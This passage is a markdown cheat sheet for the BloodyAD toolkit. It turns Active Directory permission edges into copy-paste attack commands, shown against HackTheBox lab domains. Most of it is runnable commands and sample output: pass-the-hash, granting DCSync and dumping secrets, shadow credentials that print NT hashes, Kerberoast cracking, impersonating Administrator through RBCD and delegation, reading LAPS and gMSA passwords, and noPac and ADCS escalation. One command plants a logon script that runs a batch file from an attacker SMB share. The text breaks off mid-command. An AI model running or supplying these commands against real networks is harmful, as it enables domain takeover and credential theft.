bloodyad.md (30889B)
1 --- 2 title: "BloodyAD" 3 description: "BloodyAD LDAP privilege-abuse toolkit: RBCD, shadow creds, DACL edits, password/attribute writes." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, ldap, acl-abuse] 7 tools: [BloodyAD] 8 difficulty: intermediate 9 updated: "2026-08-09" 10 source: "vault:ActiveDirectory/BloodyAD.md" 11 --- 12 13 # BloodyAD 14 15 **BloodyAD** talks **LDAP / LDAPS / SAMR** straight to a DC and turns the ACL edges BloodHound shows you into real actions. This sheet is organised so that when BloodHound-CE shows an edge (GenericAll, GenericWrite, WriteOwner…), you jump to that edge in the ACL Edge Playbook and copy the single command you need. 16 17 > **Example lab (swap these five constants) —** `--host 10.10.11.51` (DC) · `-d sequel.htb` (domain) · `-u ryan` (you) · `-p 'Passw0rd!'` (your secret) · targets like `victim`, `ca_svc`, `DC01$`. Every command is written in full. 18 19 ## 1. Install 20 21 ```bash 22 uv tool install bloodyAD 23 ``` 24 25 ```bash 26 pipx install bloodyAD 27 ``` 28 29 ```bash 30 git clone https://github.com/CravateRouge/bloodyAD.git && cd bloodyAD && uv pip install . 31 ``` 32 33 ```bash 34 sudo apt install bloodyad # Kali / Parrot 35 ``` 36 37 ## 2. Authentication 38 39 The auth block precedes every verb. Pick the line that matches your creds. 40 41 **Cleartext password:** 42 43 ```bash 44 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable 45 ``` 46 47 **Pass-the-Hash (LM blank, leading colon):** 48 49 ```bash 50 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':32ed87bdb5fdc5e9cba88547376818d4' get writable 51 ``` 52 53 **Full LM:NT pair:** 54 55 ```bash 56 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4' get writable 57 ``` 58 59 **Kerberos with an existing ccache:** 60 61 ```bash 62 export KRB5CCNAME=/home/kali/ryan.ccache 63 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -k get writable 64 ``` 65 66 **Kerberos, request the TGT from a password:** 67 68 ```bash 69 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' -k get writable 70 ``` 71 72 **Kerberos with an AES256 key (`-f aes`):** 73 74 ```bash 75 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p '5a4f...aeskey...9c1' -f aes -k get writable 76 ``` 77 78 **Schannel / certificate (PKINIT if combined with `-k`):** 79 80 ```bash 81 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -c 'ryan_key.pem:ryan_cert.pem' get writable 82 ``` 83 84 **LDAPS (TLS):** 85 86 ```bash 87 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' -s get writable 88 ``` 89 90 **Name won't resolve — pin DC IP and DNS:** 91 92 ```bash 93 bloodyAD --host dc01.sequel.htb -i 10.10.11.51 --dns 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable 94 ``` 95 96 | Flag | Meaning | 97 | :-- | :-- | 98 | `-H`, `--host` | DC hostname or IP | 99 | `-d`, `--domain` | Domain FQDN | 100 | `-u`, `--username` | Username (no domain) | 101 | `-p`, `--password` | Password, `LMHASH:NTHASH`, Kerberos AES/RC4 key, or cert password | 102 | `-k`, `--kerberos` | Kerberos (`kdc=`, `ccache=`, `kirbi=`, `keytab=`, cross-realm `realmc=`/`kdcc=`) | 103 | `-f`, `--format` | `-p`/key format: `b64`, `hex`, `aes`, `rc4`, `default` | 104 | `-c`, `--certificate` | Schannel / PKINIT, `key.pem:cert.pem` | 105 | `-s` / `-ss` | LDAPS / strip encryption (debug) | 106 | `-i`, `--dc-ip` | DC IP when host name won't resolve | 107 | `--dns` | DNS server (inter-domain) | 108 | `--gc` | Global Catalog | 109 | `--json` | JSON output | 110 111 > **Warning — Kerberos clock skew.** `-k` throwing `KRB_AP_ERR_SKEW`? Wrap with faketime: 112 > ```bash 113 > faketime -f '+7h30m' bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -k get writable 114 > ``` 115 116 ## 3. Command Model 117 118 ```text 119 bloodyAD <auth> <verb> <subcommand> [args] 120 │ 121 ├─ get read AD (object, children, search, writable, membership, dnsDump, trusts) 122 ├─ set modify (object, owner, password, restore) 123 ├─ add grant/create (genericAll, groupMember, shadowCredentials, dcsync, rbcd, uac, computer, user, dnsRecord, badSuccessor) 124 ├─ remove undo any add (cleanup) 125 └─ msldap low-level ADCS/DACL primitives 126 ``` 127 128 ## 4. Enumeration (get) 129 130 **Everything you can write to (start here):** 131 132 ```bash 133 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable --detail 134 ``` 135 136 **See which ACEs you hold on a target (Owner / WriteDacl / GenericWrite…):** 137 138 ```bash 139 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object ca_svc --resolve-sd 140 ``` 141 142 **Read a specific attribute:** 143 144 ```bash 145 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object ryan --attr memberOf 146 ``` 147 148 **List all users / all computers:** 149 150 ```bash 151 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get children 'DC=sequel,DC=htb' --type user 152 ``` 153 154 ```bash 155 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get children 'DC=sequel,DC=htb' --type computer 156 ``` 157 158 **Recursive group membership:** 159 160 ```bash 161 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get membership 'Domain Admins' 162 ``` 163 164 **Find AS-REP-roastable users (DONT_REQ_PREAUTH):** 165 166 ```bash 167 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' --attr sAMAccountName 168 ``` 169 170 **Find Kerberoastable users (has SPN):** 171 172 ```bash 173 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName,servicePrincipalName 174 ``` 175 176 **Machine Account Quota:** 177 178 ```bash 179 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'DC=sequel,DC=htb' --attr ms-DS-MachineAccountQuota 180 ``` 181 182 **DNS dump / trusts:** 183 184 ```bash 185 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get dnsDump 186 ``` 187 188 ```bash 189 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get trusts 190 ``` 191 192 ## 5. ACL Edge Playbook — BloodHound edge → command 193 194 > **Tip — How to use this.** In BloodHound-CE, click the edge (or read the outbound-object-control tab). Find that edge name below and copy the block. **Edge supersets:** `Owns` and `WriteOwner` → become the owner → grant yourself anything. `GenericAll` = `GenericWrite` + `WriteDacl` + `WriteOwner` combined, so every attack under those three also works on a GenericAll edge. 195 196 ### Edge quick index 197 198 | BloodHound edge | Fastest win | 199 | :-- | :-- | 200 | Owns / WriteOwner | take ownership → GenericAll | 201 | WriteDacl | grant self GenericAll (or DCSync on domain) | 202 | GenericAll | shadow creds (user) / RBCD (computer) / add member (group) | 203 | GenericWrite | targeted Kerberoast / shadow creds / logon script | 204 | ForceChangePassword | reset the password | 205 | AddMember / AddSelf | add to the group | 206 | AddKeyCredentialLink | shadow credentials | 207 | AddAllowedToAct | RBCD | 208 | WriteSPN | targeted Kerberoast | 209 | DCSync (GetChanges/All) | replicate secrets | 210 | ReadLAPSPassword / ReadGMSAPassword | read the secret (see Credential Access) | 211 212 ### Owns / WriteOwner 213 214 The right to set the object's owner. The owner can always rewrite the DACL, so this becomes full control in two steps. 215 216 **1. Take ownership:** 217 218 ```bash 219 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set owner ca_svc ryan 220 ``` 221 222 **2. Grant yourself GenericAll (now do any GenericAll attack below):** 223 224 ```bash 225 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add genericAll ca_svc ryan 226 ``` 227 228 ### WriteDacl 229 230 The right to edit the DACL. Grant yourself full control, or (on the domain object) DCSync. 231 232 **Grant self full control over the object:** 233 234 ```bash 235 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add genericAll ca_svc ryan 236 ``` 237 238 **If the edge is on the DOMAIN object → grant DCSync:** 239 240 ```bash 241 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add dcsync ryan 242 ``` 243 244 ### GenericAll 245 246 Full control. Superset of GenericWrite + WriteDacl + WriteOwner, so any attack under those works too. Pick by target type. 247 248 **On a USER — recover the NT hash via shadow credentials (quiet, reversible):** 249 250 ```bash 251 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim 252 ``` 253 254 **On a USER — reset the password (loud, breaks their logon):** 255 256 ```bash 257 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set password victim 'Newpass123!' 258 ``` 259 260 **On a COMPUTER — configure RBCD (see AddAllowedToAct):** 261 262 ```bash 263 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$' 264 ``` 265 266 **On a GROUP — add yourself:** 267 268 ```bash 269 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add groupMember 'Domain Admins' ryan 270 ``` 271 272 > **Tip — GenericAll → GenericWrite.** Since GenericAll includes GenericWrite, you can also do every GenericWrite attack (targeted Kerberoast, logon script) on this same target. 273 274 ### GenericWrite 275 276 Write to (most) attributes, but not the DACL. You can't reset the password, but you can plant an SPN, a Key Credential, or a logon script. 277 278 #### Targeted Kerberoast 279 280 **How it works.** Kerberos issues a TGS (service ticket) for any account that has a Service Principal Name. That ticket is encrypted with the account's password hash. Normally only service accounts have SPNs. GenericWrite lets you write `servicePrincipalName` on a regular user, so you plant a fake SPN, ask the DC for a ticket, and get a `$krb5tgs$` hash you can crack offline. The three steps are: plant → request → clean up. 281 282 **Step 1 — plant a fake SPN on the target:** 283 284 ```bash 285 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName -v 'HTTP/fake.sequel.htb' 286 ``` 287 288 `set object <target> servicePrincipalName -v '<value>'` writes the SPN attribute. The value itself (`HTTP/fake.sequel.htb`) is arbitrary — it just needs to look like a valid SPN so the DC accepts it. The account is now Kerberoastable. 289 290 **Step 2 — request the TGS (this produces the crackable hash):** 291 292 ```bash 293 GetUserSPNs.py sequel.htb/ryan:'Passw0rd!' -dc-ip 10.10.11.51 -request-user victim 294 ``` 295 296 The DC hands back a TGS encrypted with `victim`'s password hash. Impacket prints it as a `$krb5tgs$23$` hash ready for hashcat. 297 298 **Step 3 — clear the SPN (cleanup):** 299 300 ```bash 301 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName 302 ``` 303 304 Omitting `-v` clears the attribute. A stray SPN is an IOC and can break the account's authentication, so always clean up. 305 306 **Crack the hash:** 307 308 ```bash 309 hashcat -m 13100 victim.hash /usr/share/wordlists/rockyou.txt 310 ``` 311 312 > **Tip — `targetedKerberoast` automates all three steps.** The tool sets the SPN, requests the TGS, and removes the SPN in one shot. Use bloodyAD's manual three-step flow when you want granular control or when `targetedKerberoast` is not available. 313 > 314 > ```bash 315 > targetedKerberoast -v -d sequel.htb -u ryan -p 'Passw0rd!' --request-user victim 316 > ``` 317 318 > **Tip — bloodyAD accepts an NT hash instead of a password.** If you have a hash but no plaintext, pass it with a leading colon in place of the password. All three steps work the same way. 319 > 320 > ```bash 321 > # Plant 322 > bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':aad3b435b51404eeaad3b435b51404ee' set object victim servicePrincipalName -v 'HTTP/fake' 323 > 324 > # Clean up 325 > bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':aad3b435b51404eeaad3b435b51404ee' set object victim servicePrincipalName 326 > ``` 327 > 328 > The format is `:NTHASH` (LM blank, colon, then the 32-character NT hash). See the Authentication section for the full LM:NT form. 329 330 **Manual bloodyAD equivalent for a different target (tombwatcher.htb example):** 331 332 ```bash 333 # Step 1 — plant the SPN (henry has GenericWrite or WriteSPN over alfred) 334 bloodyAD --host <DC-IP> -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \ 335 set object alfred servicePrincipalName -v 'HTTP/fake.tombwatcher.htb' 336 337 # Step 2 — request the TGS 338 GetUserSPNs.py tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip <DC-IP> -request-user alfred 339 340 # Step 3 — remove the SPN 341 bloodyAD --host <DC-IP> -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \ 342 set object alfred servicePrincipalName 343 ``` 344 345 ```bash 346 hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt 347 ``` 348 349 **Shadow credentials (also available via GenericWrite):** 350 351 ```bash 352 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim 353 ``` 354 355 **Logon-script abuse — payload runs at victim's next interactive logon:** 356 357 ```bash 358 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim scriptPath -v '\\10.10.14.6\share\run.bat' 359 ``` 360 361 **Logon-script — revert:** 362 363 ```bash 364 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim scriptPath 365 ``` 366 367 **Targeted AS-REP Roast — step 1, set DONT_REQ_PREAUTH:** 368 369 ```bash 370 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac victim -f DONT_REQ_PREAUTH 371 ``` 372 373 **Targeted AS-REP Roast — step 2, grab the AS-REP:** 374 375 ```bash 376 GetNPUsers.py sequel.htb/victim -no-pass -dc-ip 10.10.11.51 -format hashcat -outputfile asrep.hash 377 ``` 378 379 **Targeted AS-REP Roast — step 3, unset the flag (cleanup):** 380 381 ```bash 382 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove uac victim -f DONT_REQ_PREAUTH 383 ``` 384 385 > **Warning — GenericWrite ≠ password reset.** GenericWrite does **not** include `User-Force-Change-Password`, so you cannot reset the target's password with it. Use shadow credentials or Kerberoast instead. `scriptPath` (logon script) only fires on an **interactive** logon, so it is useless against a service account that never logs on to a desktop. 386 387 #### Worked example — GenericWrite on winrm_svc → evil-winrm (HTB Fluffy) 388 389 You are in `Service Accounts`, which has GenericWrite over `winrm_svc`. On Fluffy the box has ADCS, so shadow credentials is the clean route to a shell. 390 391 **1. Shadow-cred winrm_svc for its NT hash (faketime for the clock skew, DC FQDN for PKINIT):** 392 393 ```bash 394 faketime -f '+7h' bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc 395 ``` 396 397 Output: 398 399 ```text 400 [+] NT hash via PKINIT: 33bd09dcd697600edf6b3a7af4875767 401 ``` 402 403 **2. Log in — winrm_svc is in Remote Management Users, so pass-the-hash over WinRM:** 404 405 ```bash 406 evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767 407 ``` 408 409 **Fallback if ADCS were absent — targeted Kerberoast winrm_svc:** 410 411 ```bash 412 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' set object winrm_svc servicePrincipalName -v 'HTTP/fake.fluffy.htb' 413 ``` 414 415 ```bash 416 GetUserSPNs.py fluffy.htb/p.agila:'prometheusx-303' -dc-ip <DC-IP> -request-user winrm_svc 417 ``` 418 419 ```bash 420 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' set object winrm_svc servicePrincipalName 421 ``` 422 423 Then crack the `$krb5tgs$` with `hashcat -m 13100`. Prefer shadow creds on Fluffy since the service password may not crack. 424 425 ### ForceChangePassword 426 427 The `User-Force-Change-Password` extended right — reset the password without knowing the old one. Same command as a full reset. 428 429 ```bash 430 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set password victim 'Newpass123!' 431 ``` 432 433 ### AddMember / AddSelf 434 435 Write the group's `member` attribute (AddSelf = you may only add yourself). 436 437 **Add to the group:** 438 439 ```bash 440 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add groupMember 'Domain Admins' ryan 441 ``` 442 443 **Remove (cleanup):** 444 445 ```bash 446 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove groupMember 'Domain Admins' ryan 447 ``` 448 449 ### AddKeyCredentialLink 450 451 Write `msDS-KeyCredentialLink` → Shadow Credentials → PKINIT → NT hash. Needs PKINIT in the forest (a CA present). 452 453 > **Tip — bloodyAD does the WHOLE attack (no Certipy needed).** `add shadowCredentials` adds the Key Credential, performs PKINIT **and** prints the target's NT hash in one command. It also drops a TGT ccache (or a `.pfx` if PKINIT fails) via `--path`. This fully replaces `certipy shadow auto`. 454 455 **One command — add key, PKINIT, and print the NT hash:** 456 457 ```bash 458 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim 459 ``` 460 461 Output: 462 463 ```text 464 [+] KeyCredential generated with DeviceID ... added to victim 465 [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325 466 ``` 467 468 **Save the recovered TGT/pfx to a chosen path:** 469 470 ```bash 471 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim --path /tmp/victim 472 ``` 473 474 **Cleanup — remove the Key Credential afterwards:** 475 476 ```bash 477 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' remove shadowCredentials victim 478 ``` 479 480 **Certipy equivalent (only if you prefer it):** 481 482 ```bash 483 certipy-ad shadow auto -u ryan@sequel.htb -p 'Passw0rd!' -account victim -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb 484 ``` 485 486 > **Warning — Use the DC FQDN + watch the clock.** PKINIT is Kerberos: pass `--host dc01.sequel.htb` (name, not IP) and, if the DC clock is skewed, prefix `faketime -f '+Xh'`. This is exactly the gotcha on boxes like Fluffy. 487 488 #### Worked chain — GenericAll on a group → add self → shadow-cred the members (HTB Fluffy) 489 490 You hold **GenericAll over a group** (e.g. `Service Accounts`). Add yourself, which grants you `GenericWrite` over every member, then shadow-cred each service account — all in bloodyAD. 491 492 **1. Add yourself to the group (GenericAll → AddMember):** 493 494 ```bash 495 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila 496 ``` 497 498 **2. Shadow-cred the first member (inherited GenericWrite → NT hash):** 499 500 ```bash 501 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc 502 ``` 503 504 **3. Shadow-cred the second member (you'll want ca_svc for the ESC16 step):** 505 506 ```bash 507 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc 508 ``` 509 510 > **Note — Why this works.** Group membership is evaluated at authentication. bloodyAD re-authenticates with the password on every call, so step 2/3 already carry the new `Service Accounts` membership (and its GenericWrite over the service users) without any re-login. On Fluffy, wrap each command in `faketime` because of the clock skew. 511 512 ### AddAllowedToAct (RBCD) 513 514 Write `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target → impersonate anyone to a service on it. 515 516 **1. Create a computer you control (needs MAQ > 0):** 517 518 ```bash 519 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer ATTACKER '$Passw0rd123' 520 ``` 521 522 **2. Set the RBCD trust on the target:** 523 524 ```bash 525 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$' 526 ``` 527 528 **3. Request an impersonation ticket:** 529 530 ```bash 531 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/ATTACKER$:'$Passw0rd123' -dc-ip 10.10.11.51 532 ``` 533 534 **4. Cleanup:** 535 536 ```bash 537 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove rbcd 'DC01$' 'ATTACKER$' 538 ``` 539 540 ### WriteSPN 541 542 Write `servicePrincipalName` directly — a narrower right than GenericWrite, but the attack is identical. Follow the same three steps as under GenericWrite above. 543 544 ```bash 545 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName -v 'HTTP/fake.sequel.htb' 546 ``` 547 548 ```bash 549 GetUserSPNs.py sequel.htb/ryan:'Passw0rd!' -dc-ip 10.10.11.51 -request-user victim 550 ``` 551 552 ### DCSync (GetChanges / GetChangesAll) 553 554 Replication rights on the domain — dump any secret. 555 556 **Grant yourself DCSync (if you have WriteDacl on the domain):** 557 558 ```bash 559 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add dcsync ryan 560 ``` 561 562 **Replicate secrets:** 563 564 ```bash 565 secretsdump.py sequel.htb/ryan:'Passw0rd!'@10.10.11.51 566 ``` 567 568 **Cleanup:** 569 570 ```bash 571 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove dcsync ryan 572 ``` 573 574 ## 6. Delegation Attacks 575 576 ### Unconstrained Delegation 577 578 **Set the flag (then coerce a DC and capture its TGT):** 579 580 ```bash 581 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac 'WEB01$' -f TRUSTED_FOR_DELEGATION 582 ``` 583 584 ### Constrained Delegation (S4U) 585 586 **1. Flag the account for protocol transition:** 587 588 ```bash 589 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION 590 ``` 591 592 **2. Set the allowed target SPN:** 593 594 ```bash 595 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/dc01.sequel.htb' 596 ``` 597 598 **3. Impersonate to the target:** 599 600 ```bash 601 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/svc_web:'SvcPass1!' -dc-ip 10.10.11.51 602 ``` 603 604 ### Resource-Based Constrained Delegation 605 606 See AddAllowedToAct (RBCD) above for the full four-step RBCD flow. 607 608 ## 7. Credential Access — LAPS & GMSA 609 610 **Legacy LAPS (plaintext):** 611 612 ```bash 613 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr ms-Mcs-AdmPwd 614 ``` 615 616 **Windows LAPS, unencrypted (JSON in `msLAPS-Password`):** 617 618 ```bash 619 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr msLAPS-Password 620 ``` 621 622 **Windows LAPS, encrypted — read the raw blob:** 623 624 ```bash 625 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr msLAPS-EncryptedPassword 626 ``` 627 628 **Windows LAPS, encrypted — decrypt with NetExec (needs the GKDI group rights):** 629 630 ```bash 631 nxc ldap 10.10.11.51 -u ryan -p 'Passw0rd!' --laps 632 ``` 633 634 > **Warning — Read ≠ decrypt.** With encrypted Windows LAPS, reading `msLAPS-EncryptedPassword` and decrypting it are separate rights. You must be in the authorised decryption group. 635 636 **GMSA managed password — read the blob:** 637 638 ```bash 639 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'svc_gmsa$' --attr msDS-ManagedPassword 640 ``` 641 642 **GMSA — derive the NT hash directly:** 643 644 ```bash 645 nxc ldap 10.10.11.51 -u ryan -p 'Passw0rd!' --gmsa 646 ``` 647 648 ## 8. BadSuccessor (dMSA) 649 650 > **Warning — Windows Server 2025 dMSA abuse.** `add badSuccessor` creates a Delegated Managed Service Account linked (`msDS-ManagedAccountPrecededByLink`) to inherit a target's privileges. Any principal that can create a child object in an OU can abuse it on vulnerable Server 2025 domains. Check DC OS/patch level. 651 652 **Create a dMSA that inherits Administrator:** 653 654 ```bash 655 bloodyAD --host 10.10.11.51 -d sequel.htb -u lowpriv -p 'Passw0rd!' add badSuccessor evilmsa -t 'CN=Administrator,CN=Users,DC=sequel,DC=htb' 656 ``` 657 658 **Pin the OU it is created under:** 659 660 ```bash 661 bloodyAD --host 10.10.11.51 -d sequel.htb -u lowpriv -p 'Passw0rd!' add badSuccessor evilmsa -t 'CN=Administrator,CN=Users,DC=sequel,DC=htb' --ou 'OU=Workstations,DC=sequel,DC=htb' 662 ``` 663 664 ## 9. sAMAccountName Spoofing (noPac) 665 666 > **Note — CVE-2021-42278 + CVE-2021-42287.** Create a computer, rename its `sAMAccountName` to a DC's (no `$`), request tickets, rename back — the KDC issues a TGT as the DC. 667 668 **1. Create a machine account:** 669 670 ```bash 671 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer noPacPc 'Passw0rd123!' 672 ``` 673 674 **2. Clear its SPNs:** 675 676 ```bash 677 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' servicePrincipalName 678 ``` 679 680 **3. Rename to the DC's sAMAccountName:** 681 682 ```bash 683 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' sAMAccountName -v 'DC01' 684 ``` 685 686 **4. Request a TGT as DC01:** 687 688 ```bash 689 getTGT.py sequel.htb/DC01:'Passw0rd123!' -dc-ip 10.10.11.51 690 ``` 691 692 **5. Rename back (avoid collision):** 693 694 ```bash 695 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' sAMAccountName -v 'noPacPc' 696 ``` 697 698 > **Note — Or automate it.** `netexec smb 10.10.11.51 -u ryan -p 'Passw0rd!' -M nopac` runs the whole loop; bloodyAD is the granular fallback. 699 700 ## 10. AD Recycle Bin — Restore Deleted Objects 701 702 **Find deleted user objects:** 703 704 ```bash 705 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --base 'DC=sequel,DC=htb' --filter '(&(isDeleted=TRUE)(objectClass=user))' --attr sAMAccountName,lastKnownParent 706 ``` 707 708 **Restore (reanimate) one:** 709 710 ```bash 711 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set restore old_admin 712 ``` 713 714 ## 11. ADCS Setup via bloodyAD (ESC1/ESC4/ESC14) 715 716 bloodyAD writes the attributes that *create* the ADCS condition; Certipy exploits it. 717 718 **ESC4 → ESC1 — grant enrollment on the template:** 719 720 ```bash 721 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addenrollmentright 'VulnTemplate' 'CN=ryan,CN=Users,DC=sequel,DC=htb' 722 ``` 723 724 **ESC4 → ESC1 — flip the SAN flag:** 725 726 ```bash 727 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addcerttemplatenameflagaltname 'VulnTemplate' --flags ENROLLEE_SUPPLIES_SUBJECT 728 ``` 729 730 **ESC4 → ESC1 — request the DA cert with Certipy:** 731 732 ```bash 733 certipy-ad req -u ryan@sequel.htb -p 'Passw0rd!' -dc-ip 10.10.11.51 -ca 'SEQUEL-CA' -template 'VulnTemplate' -upn 'administrator@sequel.htb' 734 ``` 735 736 **ESC14 — write a strong explicit mapping onto a target:** 737 738 ```bash 739 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object administrator altSecurityIdentities -v 'X509:<I>DC=htb,DC=sequel,CN=SEQUEL-CA<S>CN=ryan' 740 ``` 741 742 ## 12. msldap Low-Level Category 743 744 **Raw GenericWrite ACE:** 745 746 ```bash 747 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap add_genericwrite 'CN=victim,CN=Users,DC=sequel,DC=htb' 'CN=ryan,CN=Users,DC=sequel,DC=htb' 748 ``` 749 750 **Raw RBCD write:** 751 752 ```bash 753 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addallowedtoactonbehalfofotheridentity 'CN=DC01,OU=Domain Controllers,DC=sequel,DC=htb' 'S-1-5-21-...-1104' 754 ``` 755 756 **Add a computer (raw):** 757 758 ```bash 759 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addcomputer --computername 'ATTACKER$' --computerpass 'Passw0rd123!' 760 ``` 761 762 **List every msldap function on your version:** 763 764 ```bash 765 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap -h 766 ``` 767 768 ## 13. Worked Chains 769 770 ### WriteOwner → GenericAll → shadow creds (HTB EscapeTwo) 771 772 **1. Confirm the edge:** 773 774 ```bash 775 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' get object ca_svc --resolve-sd 776 ``` 777 778 **2. Take ownership:** 779 780 ```bash 781 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 